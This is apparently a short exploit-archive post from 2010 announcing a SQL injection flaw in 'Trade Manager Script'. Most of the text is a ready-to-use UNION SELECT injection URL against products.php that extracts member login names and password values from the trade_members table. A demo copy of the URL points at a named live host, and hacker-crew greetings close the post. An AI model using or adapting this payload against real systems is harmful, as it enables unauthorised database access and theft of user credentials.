# Exploit Title: Trade Manager Script SQL injection Vulnerability # Date: 11/02/2010 # Author: JaMbA # Software Link: N/A # Version: all version # Tested on: Windows & Linux # CVE : () ::::::::::::::::::::::::: Exploit Title : Trade Manager Script SQL injection Vulnerability Author : JaMbA Script Site : www.commodityrentals.com<http://www.commodityrentals.com> Version : All Versions Tested on : Windows & Linux ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::: =====================================Exploit=============== ========================= [ EXPL0!T ] http://server/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members-- [ D3M0 ] http://trademanager.webmyneproducts.com/products.php?cid=-17+UnioN+AlL+SelEct+1,concat(sb_lastlogin,0x3e,sb_password),3,4,5,6,7,8+from+trade_members-- =========================================================== Good luck for the Tunisian team handball in Can ========================= Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek === 3SI lycee jbel jloud ====